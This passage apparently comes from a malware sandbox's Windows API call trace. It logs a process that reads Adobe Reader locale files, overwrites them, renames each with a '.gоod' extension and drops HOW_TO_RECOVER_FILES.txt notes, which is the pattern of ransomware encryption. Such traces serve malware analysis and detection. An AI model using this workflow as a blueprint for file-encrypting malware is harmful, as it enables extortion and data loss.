DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ru-ru\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0267.646] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee6b0) returned 1 [0267.646] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ru-ru\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ru-ru\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x3a8bcc8 | out: lpFileInformation=0x3a8bcc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x642)) returned 1 [0267.647] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee670) returned 1 [0267.647] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ru-ru\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1f9ee040, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ru-ru\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0267.647] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee560) returned 1 [0267.647] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ru-ru\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ru-ru\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0267.647] GetFileType (hFile=0x834) returned 0x1 [0267.647] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee4d0) returned 1 [0267.647] GetFileType (hFile=0x834) returned 0x1 [0267.647] GetFileSize (in: hFile=0x834, lpFileSizeHigh=0x1f9ee708 | out: lpFileSizeHigh=0x1f9ee708*=0x0) returned 0x642 [0267.647] ReadFile (in: hFile=0x834, lpBuffer=0x3a8c6f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee638, lpOverlapped=0x0 | out: lpBuffer=0x3a8c6f0*, lpNumberOfBytesRead=0x1f9ee638*=0x642, lpOverlapped=0x0) returned 1 [0267.648] CloseHandle (hObject=0x834) returned 1 [0267.675] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ru-ru\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1f9ee040, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ru-ru\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0267.675] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee560) returned 1 [0267.675] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ru-ru\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ru-ru\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0267.676] GetFileType (hFile=0x834) returned 0x1 [0267.676] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee4d0) returned 1 [0267.676] GetFileType (hFile=0x834) returned 0x1 [0267.676] WriteFile (in: hFile=0x834, lpBuffer=0x3b05fe0*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x1f9ee548, lpOverlapped=0x0 | out: lpBuffer=0x3b05fe0*, lpNumberOfBytesWritten=0x1f9ee548*=0x650, lpOverlapped=0x0) returned 1 [0267.677] CloseHandle (hObject=0x834) returned 1 [0267.677] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ru-ru\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ru-ru\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0267.677] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ru-ru\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ru-ru\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x8a [0267.677] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee670) returned 1 [0267.677] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ru-ru\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ru-ru\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x1f9ee750 | out: lpFileInformation=0x1f9ee750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x9bc24f50, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x650)) returned 1 [0267.677] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee630) returned 1 [0267.677] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ru-ru\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ru-ru\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ru-ru\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ru-ru\\ui-strings.js.gоod")) returned 1 [0267.679] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ru-ru\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ee350, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ru-ru\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x90 [0267.679] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee870) returned 1 [0267.679] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ru-ru\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ru-ru\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x834 [0267.679] GetFileType (hFile=0x834) returned 0x1 [0267.679] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee7e0) returned 1 [0267.679] GetFileType (hFile=0x834) returned 0x1 [0267.680] WriteFile (in: hFile=0x834, lpBuffer=0x3b098f0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9ee938, lpOverlapped=0x0 | out: lpBuffer=0x3b098f0*, lpNumberOfBytesWritten=0x1f9ee938*=0x5d0, lpOverlapped=0x0) returned 1 [0267.680] CloseHandle (hObject=0x834) returned 1 [0267.680] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee900) returned 1 [0267.680] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\sk-sk", nBufferLength=0x105, lpBuffer=0x1f9ee3a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\sk-sk", lpFilePart=0x0) returned 0x77 [0267.681] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\sk-sk\\*", lpFindFileData=0x1f9ee620 | out: lpFindFileData=0x1f9ee620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134af20 [0267.681] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0267.681] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0267.681] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0268.657] FindClose (in: hFindFile=0x134af20 | out: hFindFile=0x134af20) returned 1 [0268.657] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee840) returned 1 [0268.666] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee800) returned 1 [0268.666] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee900) returned 1 [0268.666] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\sk-sk", nBufferLength=0x105, lpBuffer=0x1f9ee3a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\sk-sk", lpFilePart=0x0) returned 0x77 [0268.666] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\sk-sk\\*", lpFindFileData=0x1f9ee620 | out: lpFindFileData=0x1f9ee620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134af80 [0268.666] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.667] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0268.667] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0268.667] FindClose (in: hFindFile=0x134af80 | out: hFindFile=0x134af80) returned 1 [0268.667] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee840) returned 1 [0268.667] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee800) returned 1 [0268.667] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\sk-sk\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\sk-sk\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0268.667] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee6b0) returned 1 [0268.667] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\sk-sk\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\sk-sk\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x3a62870 | out: lpFileInformation=0x3a62870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5aa)) returned 1 [0268.667] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee670) returned 1 [0268.667] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\sk-sk\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1f9ee040, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\sk-sk\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0268.667] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee560) returned 1 [0268.667] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\sk-sk\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\sk-sk\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0268.668] GetFileType (hFile=0x834) returned 0x1 [0268.668] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee4d0) returned 1 [0268.668] GetFileType (hFile=0x834) returned 0x1 [0268.668] GetFileSize (in: hFile=0x834, lpFileSizeHigh=0x1f9ee708 | out: lpFileSizeHigh=0x1f9ee708*=0x0) returned 0x5aa [0268.668] ReadFile (in: hFile=0x834, lpBuffer=0x3a631c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee638, lpOverlapped=0x0 | out: lpBuffer=0x3a631c8*, lpNumberOfBytesRead=0x1f9ee638*=0x5aa, lpOverlapped=0x0) returned 1 [0268.669] CloseHandle (hObject=0x834) returned 1 [0268.695] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\sk-sk\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1f9ee040, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\sk-sk\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0268.695] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee560) returned 1 [0268.695] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\sk-sk\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\sk-sk\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0268.696] GetFileType (hFile=0x834) returned 0x1 [0268.696] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee4d0) returned 1 [0268.696] GetFileType (hFile=0x834) returned 0x1 [0268.696] WriteFile (in: hFile=0x834, lpBuffer=0x3add218*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x1f9ee548, lpOverlapped=0x0 | out: lpBuffer=0x3add218*, lpNumberOfBytesWritten=0x1f9ee548*=0x5b0, lpOverlapped=0x0) returned 1 [0269.010] CloseHandle (hObject=0x834) returned 1 [0269.058] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\sk-sk\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\sk-sk\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0269.058] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\sk-sk\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\sk-sk\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x8a [0269.058] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee670) returned 1 [0269.058] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\sk-sk\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\sk-sk\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x1f9ee750 | out: lpFileInformation=0x1f9ee750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x9c8f59dd, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5b0)) returned 1 [0269.058] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee630) returned 1 [0269.059] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\sk-sk\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\sk-sk\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\sk-sk\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\sk-sk\\ui-strings.js.gоod")) returned 1 [0269.061] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\sk-sk\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ee350, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\sk-sk\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x90 [0269.061] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee870) returned 1 [0269.061] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\sk-sk\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\sk-sk\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x828 [0269.062] GetFileType (hFile=0x828) returned 0x1 [0269.062] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee7e0) returned 1 [0269.062] GetFileType (hFile=0x828) returned 0x1 [0269.063] WriteFile (in: hFile=0x828, lpBuffer=0x376d3e0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9ee938, lpOverlapped=0x0 | out: lpBuffer=0x376d3e0*, lpNumberOfBytesWritten=0x1f9ee938*=0x5d0, lpOverlapped=0x0) returned 1 [0269.063] CloseHandle (hObject=0x828) returned 1 [0269.065] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee900) returned 1 [0269.065] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\sl-si", nBufferLength=0x105, lpBuffer=0x1f9ee3a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\sl-si", lpFilePart=0x0) returned 0x77 [0269.065] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\sl-si\\*", lpFindFileData=0x1f9ee620 | out: lpFindFileData=0x1f9ee620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134afe0 [0269.065] FindNextFileW (in: hFindFile=0x134afe0, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0269.066] FindNextFileW (in: hFindFile=0x134afe0, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x556, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0269.066] FindNextFileW (in: hFindFile=0x134afe0, 